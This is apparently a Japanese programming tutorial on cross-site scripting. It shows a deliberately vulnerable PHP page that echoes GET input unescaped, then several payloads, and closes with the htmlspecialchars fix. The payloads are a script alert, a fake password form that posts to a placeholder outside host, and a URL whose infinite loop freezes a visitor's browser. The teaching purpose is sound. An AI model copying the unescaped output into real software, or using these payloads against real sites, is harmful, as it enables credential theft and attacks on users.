とりあえず以下のプログラムを見てください。
あえて不完全にしてありますが、それでも決してアップロードしないように。
xss.php
<!-- テキストエリアの文字を表示するプログラム --> <form method="GET" action="./xss.php"> <input type="text" name="入力"> <input type="submit"> </form> <br /> <?php print($_GET['入力']) ?> |
まずform,inputタグで任意のテキストを入力します。
そのテキストの送り先はaction="./xss.php"、つまりこのプログラム自身です。
次にPHPのprint関数で文字を表示します。
説明は別のところでしますが、$_GET[]という変数は、
フォームの入力データのことを示します。
つまり、フォームに入力されたデータをただ単に表示する、それだけのプログラムです。
さてこのプログラム、セキュリティ的に重大な欠点があります。欠陥品です。
入力フォームに具体的データを入れてみましょう。
「Hello,world」
↓
フォームの下に「Hello,world」と表示されるだけです。
「<b>Hello,world</b>」
↓
Hello,worldが太字で表示されます。つまり<b>タグがブラウザで解釈されてしまっています。
これを利用すると、いろんな危険行為が可能となってしまいます。
「<script>alert("Hello,world");</script>」
↓
JavsScriptが実行され、ダイアログボックスが表示されます。
「入力が認識できませんでした。パスワードを再度入力して下さい。<form method="POST" action="http://www.hogehoge.com/index.cgi"><input type="text" name="入力"><input type="submit"></form>」
↓
うっかりパスワードを入力してしまった場合、パスワードが別のサーバに送信されてしまいます。
実際はGETの文字数制限の為動きませんが、だからといって危険を残しておいてはいけません。
またこのプログラム、データをGETで送っているので別の問題があります。
GETというのはamazonとかでよく見るURLの後に?○○=××というやつで、
あれでサーバに対して情報を送ることが出来ます。
というわけでxss.phpにアクセスするとき、
xss.php?入力=Hello,world
とアドレス欄に入力するとHello,worldが表示されます。
というわけで悪意を持った人が
xss.php?入力=<script>while(1){document.write("Hello,world");}</script>
というアドレスに対してリンクを張ると、
そのリンクを踏んだ人のブラウザが死にます。
以上の話はクロスサイトスクリプティングという有名な脆弱性で、
これの対策が行われていないと話にならない、というレベルです。
まあ回避方法も色々あって、たとえば上記のxss.phpでは
print(htmlspecialchars($_GET['入力']))
と書くだけでほぼ無問題になります。
それどころかライブラリを使用すれば、
一切対策を気にしなくていいなんてものすらあるのですが、
とりあえずプログラムを書く上ではこのような脆弱性の話は
一般常識として知っておかねばなりません。
次回はSQLインジェクションの話でも。